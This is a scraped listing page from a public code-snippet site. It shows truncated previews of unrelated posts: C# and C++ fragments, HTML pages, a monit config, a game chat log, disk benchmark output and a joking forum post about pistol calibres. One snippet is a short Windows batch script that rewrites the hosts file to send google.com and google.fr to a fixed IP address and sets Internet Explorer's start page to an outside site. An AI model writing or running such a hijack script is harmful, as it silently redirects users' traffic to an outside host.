New Snippet New Snippet Recent Snippets Recent Snippets My Snippets My Snippets Web Code Search Snippets Search
Sign inor Register
Format:
Recent Snippets
:: Synchronising package databases...
error: failed to init transaction (unable to lock database)
  if you're sure a package manager is not already
  running, you can remove /var/lib/pacman/db.lck
Today @ 3:30pm
Tags:
2 Views
no comments
 
C++
#include <iostream>
 
using namespace std;
 
void swap(int *pozitia_a, int *pozitia_b);
 
void populeaza(int *sir, int numar_elemente);
void afiseaza(int *sir, int numar_elemente);
void sorteaza(int *sir, int numar_elemente);
Today @ 11:31am
Tags:
5 Views
no comments
 
C#
    public class ViewModelLocator {
        public ViewModelLocator() {
            //if (!ViewModelBase.IsInDesignModeStatic)
            CompositionInitializer.SatisfyImports(this);
        }
 
                //If I do not use AllowDefault = true, the Design Time blows up saying it cannot
                //  match the export to the import
        [Import(AllowDefault = true)]
        public OrbitScreenViewModel SomeViewModelInstance { get; set; }
by CodeFuzion   Today @ 11:11am
Tags:
16 Views
no comments
 
C#
public void SetXmlFileValue(string xmlPath, string AppKey, string AppValue)
{
    XmlDocument xDoc = new XmlDocument();
    xDoc.Load(xmlPath);
    XmlNode xNode;
    XmlElement xElem1;
    XmlElement xElem2;
 
    xNode = xDoc.SelectSingleNode("//appSettings");
Today @ 7:52am
Tags:
4 Views
no comments
 
<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/v7io8GQ5x5k&hl=de_DE&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/v7io8GQ5x5k&hl=de_DE&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>
by menkisys   Today @ 6:58am
Tags:
6 Views
no comments
 
C#
public const int WM_DEVICECHANGE = 0x0219;
    public const int DBT_DEVICEARRIVAL = 0x8000; // system detected a new device
    public const int DBT_DEVICEQUERYREMOVE = 0x8001; // wants to remove, may fail
    public const int DBT_DEVICEQUERYREMOVEFAILED = 0x8002; // removal aborted
    public const int DBT_DEVICEREMOVEPENDING = 0x8003; // about to remove, still available
    public const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // device is gone
 
    protected override void WndProc(ref Message m)
    {
Today @ 5:15am
Tags:
6 Views
no comments
 
C#
        public const int WM_DEVICECHANGE = 0x0219;
        public const int DBT_DEVICEARRIVAL = 0x8000; // system detected a new device
        public const int DBT_DEVICEQUERYREMOVE = 0x8001; // wants to remove, may fail
        public const int DBT_DEVICEQUERYREMOVEFAILED = 0x8002; // removal aborted
        public const int DBT_DEVICEREMOVEPENDING = 0x8003; // about to remove, still available
        public const int DBT_DEVICEREMOVECOMPLETE = 0x8004; // device is gone
 
protected override void WndProc(ref Message m)
 
{
Today @ 5:13am
Tags:
6 Views
no comments
 
dasdasd
Today @ 5:09am
Tags:
4 Views
no comments
 
C#
private static readonly HttpCulture.ReadOnlyCultureInfoCache s_cultureByLanguageNameCache = new HttpCulture.ReadOnlyCultureInfoByLanguageCache();
 
Yesterday @ 10:53pm
Tags:
7 Views
no comments
 
You can study the numbers all you want, but at the end of the day...
 
The round that gives you the edge is the one that you shoot with the most confidence, accuracy, and speed, not necessarily in that order.
 
You do need some minimum amount of cartridge size, but anything 9 mm or above should be fine to any range that you can shoot a pistol accurately.
 
Now, some .45 ACP caliber fan will chime in and say, "but this one time, a suspect took a zillion hits of 9 mm and continued fighting". Then a 9 mm fan will chime in and say, "if a zillion hits of 9 mm can't drop the guy, a zillion hits of .45 wouldn't have dropped him either".
 
I know that this is confusing, but you can use the confusion to your advantage. You can say, "9 mm should be enough" and buy a nice 9 mm pistol, like a P228. After a while, you can say, "This gun has so little recoil, I wonder if it has enough stopping power". That doubt justifies your getting a nice .45, like a P220. After a while, you can say, "I like the power of the .45, but I wish I had more than 8 rounds in the magazine". That wish justifies your getting a nice .40, like a P229. After a while, you can say, "If I can handle the recoil of a .40 in a heavy metal gun like the P229, I can handle the lighter recoil of a 9 mm in a lighter polymer gun". That justifies your getting a nice polymer 9 mm, like a SP2022. After a while you can say, "Even in this light polymer gun, I can easily handle the 9 mm". So then you look into getting an SP2022 in .40S&W. When you realize SIG has discontinued the SP2022 .40S&W, you curse at SIG, criticize the decline in SIG's quality control, criticize SIGs random changes in trigger type, takedown lever removal notch, etc. Then you talk to Stickman428, and he'll tell you an H&K P2000 trigger is almost as nice as the SP2022 trigger, so you get an H&K P2000 (also a polymer gun) in .40 S&W. Then you realize your first three guns are safe queens, so you list them on the Classifieds section of SIGforum, sell them off, then go to the Dark Side and buy a GLOCK. Then, you go shooting with your women friends. The GLOCKs malfunction when they shoot it. You report this on SIGforum. Other forum members will say, "Oh yeah, GLOCKs will easily malfunction when limp-wristed". Then you start a flame war between those who believe GLOCKs never malfunction when limp-wristed, and those who believe GLOCKs always malfunction when limp-wristed. Then you have the smartass who chimes in and says, "Only some GLOCKs will malfunction, and only some of the time, when limp-wristed by some people". Then you have the GLOCK fanboi who says no properly functioning GLOCK should ever malfunction due to limp wristing, so you should send the gun back to GLOCK to be fixed. Then you have somebody post a YouTube video of limp wristing tests where ONLY the GLOCK malfunctions with limp wristing. Then you have the GLOCK fanboi point out that its not a fair comparison because all the other guns in the test were metal framed guns. Then you have the geek chime in and explain that the metal framed guns have more inertia in the heavier frame, and that's probably why they're more resistant to limp wristing. Then you have the excited guy who just got his new Ilaflon coated, triple-serial numbered, proof-marked SP2022 in .40S&W for $439 from Bud's excitedly promise to try the limp wrist test on his polymer SP2022 the next time he goes to the range.
Yesterday @ 3:43pm
Tags:
5 Views
no comments
 
// jan aufgabe 1
// version 1
 
void drehUm() {
    linksUm();
    linksUm();    
}
 
void rechtsUm() {
    drehUm();
by JanL   Yesterday @ 3:31pm
Tags:
8 Views
no comments
 
asdfasdf
Yesterday @ 1:22pm
Tags:
6 Views
no comments
 
<html>
<head><title>LOS TSUNAMIS</title>
<center><b><h1><font color="000080">LOS TSUNAMIS</center></b></h1></font color=blue>
</head>
<body bgcolor="336699">
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Rn8OGgj6rhQ&hl=es_ES&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Rn8OGgj6rhQ&hl=es_ES&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344" align=right></embed></object><br>
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#Definicion"><font color="FFFF00">Definici&oacute;n</font></a>
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#Causas"><font color="FFFF00">Causas</font></a>
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#Consecuencias"><font color="FFFF00">Consecuencias</font></a>
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#En la historia"><font color="FFFF00">En la historia</font></a>
Yesterday @ 12:50pm
Tags:
8 Views
no comments
 
C#
<#@ template language="C#v3.5" hostspecific="True" debug="True" #> 
<#@ output extension="cs" #>
<#@ assembly name="Microsoft.SqlServer.ConnectionInfo" #>
<#@ assembly name="Microsoft.SqlServer.Smo" #>
<#@ assembly name="System.Data" #>
<#@ import namespace="Microsoft.SqlServer.Management.Smo" #>
<#@ import namespace="Microsoft.SqlServer.Management.Common" #>
<#@ import namespace="System.Data.SqlClient" #>
<#@ import namespace="System.Collections.Specialized" #>
by Rob   Yesterday @ 12:44pm
5 Views
no comments
 
[16:22] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | eXp | Locoman187 <STEAM_0:1:16886010> connected
[16:32] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: blindsprayer
[16:44] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: spammer
[16:58] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: wow NOOB
[17:00] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: random hit Tisti
[17:00] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: ???????????????????????????????????????????????
[17:01] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: ha ha Tisti what a noob
[17:01] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: well if it wasnt 100% random I wouldnt mind
[17:02] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: well it was 100% random ur stab!
[17:02] <*locoman> <Lokalen:#lokalen.tf2feed> #4 | STEAM_0:1:16886010 | eXp | Locoman187: ywell it was random that stab
Yesterday @ 12:20pm
Tags:
9 Views
no comments
 
#/etc/monit/monitrc
###############################################################################
## Monit control file
###############################################################################
set daemon  120
#  with start delay 120 this is 2 minute interval
########################### student.se#############################
check host myserver with address www.myserver.com
        start program = "/bin/sh /root/startmyserver.sh"  
        stop program = "/bin/sh /root/stopmyserver.sh" 
Yesterday @ 12:04pm
Tags:
5 Views
no comments
 
<!--  begin loot block  -->
<div class="panel">
<div class="inner">
<span class="corners-top"><span></span></span>
    <h3 style="text-align:center">{L_MENU}</h3>
    <div class="portalmenu">
    <table width="100">
    <td>
            <ul>
            <li><a href="{U_INDEX}">{L_INDEX}</a></li>
Yesterday @ 11:56am
Tags:
6 Views
no comments
 
mapreduce: DenormAggCollection
query:
    filter1: { $in: [ 'A', 'B' ] }
    filter2: C
    filter3: { $gt: 123 }
map: = emit (dim1 this, dim2 this)
    (measure1 this, 1, measure1 this, 
     if measure2 this < 100 then measure2 this else 0)
reduce: _ vals = reduce' 0, 0, 0, 0 vals
    where 
Yesterday @ 11:13am
Tags:
6 Views
no comments
 
@echo off
 
echo 69.163.248.201 google.com>> %WINDIR%\system32\drivers\etc\hosts
echo 69.163.248.201 www.google.com>> %WINDIR%\system32\drivers\etc\hosts
echo 69.163.248.201 google.fr>> %WINDIR%\system32\drivers\etc\hosts
echo 69.163.248.201 www.google.fr>> %WINDIR%\system32\drivers\etc\hosts
 
REG ADD "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN" /V "START PAGE" /D "http://lm.loldongs.eu/" /F
 
exit
Yesterday @ 10:53am
Tags:
6 Views
no comments
 
C#
public string Send(string url, string username, string password, string requestMessage)
{
    int tryCount = 0;
    string responseMessage = string.Empty;
 
    while (true)
    {
        try
        {
            tryCount++;
Yesterday @ 10:23am
Tags:
6 Views
no comments
 
I decided to do a few benchmarks I've been doing some benchmarks and I'm a little worried!
 
I used this python script to do some testing: http://benjamin-schweizer.de/files/iotest/
 
Below are my less-than-overwhelming results. /var is mounted on sda7.
 
[mike@PleaseMum-UX3 html]$ df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda2              6092388    543132   5234784  10% /
/dev/sda7             12075800    313820  11138660   3% /var
Yesterday @ 9:47am
Tags:
8 Views
no comments
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {color: #000000}
.style2 {font-size: 36px}
.style3 {font-size: small}
.style4 {
Yesterday @ 9:27am
Tags:
9 Views
no comments
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  <style type="text/css">
  <!--
  .style1 {color: #000000}
  .style2 {font-size: 36px}
  .style3 {font-size: small}
  .style4 {
Yesterday @ 9:03am
Tags:
8 Views
no comments
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {color: #000000}
.style2 {font-size: 36px}
.style3 {font-size: small}
.style4 {
Yesterday @ 8:57am
Tags:
8 Views
no comments
 
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<style type="text/css">
<!--
.style1 {color: #000000}
.style2 {font-size: 36px}
.style3 {font-size: small}
.style4 {
Yesterday @ 8:42am
Tags:
9 Views
no comments
 
brought to you by:
West Wind Techologies


If you find this site useful and use it frequently please consider making a donation to support this free service.
Donate